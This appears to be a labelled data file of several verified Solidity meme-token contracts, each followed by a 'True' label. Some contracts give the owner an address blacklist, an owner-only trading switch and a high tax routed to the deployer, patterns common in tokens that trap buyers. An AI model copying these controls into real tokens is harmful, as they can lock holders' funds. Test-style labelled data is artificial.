capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(75).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
True
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pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // &#39;AUDO&#39; token contract // // Deployed to : 0x6d8d30e6c418E322Fb20b9F01115858cDF1e979E // Symbol : AUDO // Name : AUD_Omnidollar // Total supply: 100000000000.000000000000000000 // Decimals : 18 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract AUD_Omnidollar is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function AUD_Omnidollar() public { symbol = "AUDO"; name = "AUD_Omnidollar"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[0x6d8d30e6c418E322Fb20b9F01115858cDF1e979E] = _totalSupply; Transfer(address(0), 0x6d8d30e6c418E322Fb20b9F01115858cDF1e979E, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner&#39;s account to to account // - Owner&#39;s account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner&#39;s account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner&#39;s account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don&#39;t accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-04-01 */ //SPDX-License-Identifier: MIT // Telegram: t.me/zillaxinu pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ZillaXInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private _tTotal = 100000000 * 10**18; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = "Zilla X Inu"; string private constant _symbol = "ZILLAXINU"; uint8 private constant _decimals = 18; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 12; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.mul(15).div(1000); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!_bots[from]&&!_bots[to],"Trading is prohibited for this address"); if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading is not enabled yet"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 100000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createUniswapPair() external onlyOwner { _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; } function enableTrading() external onlyOwner{ _canTrade = true; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } receive() external payable {} function liquidateFee() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function withdrawFee() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(_uniswap) && bots_[i]!=address(_pair) &&bots_[i]!=address(this)){ _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } }
True
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/** *Submitted for verification at Etherscan.io on 2021-08-08 */ pragma solidity ^0.4.24; //Safe Math Interface contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } //ERC Token Standard #20 Interface contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } //Contract function to receive approval and execute function in one call contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } //Actual token contract contract QKCToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "JITSU"; name = "Ejitsu"; decimals = 5; _totalSupply = 500000000000; balances[0x7EF6b21219aCF18276C5b070E432Bda89872270B] = _totalSupply; emit Transfer(address(0), 0x7EF6b21219aCF18276C5b070E432Bda89872270B, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } }
True
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/** *Submitted for verification at Etherscan.io on 2022-04-19 */ /** A token of Shiba who has had a bit too much to smoke. If this trends we will be working from the shadows and peeking into any community Telegrams and doing buy-backs via transfer messages from the developer address. Happy 4/20! */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Pair { function sync() external; } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev 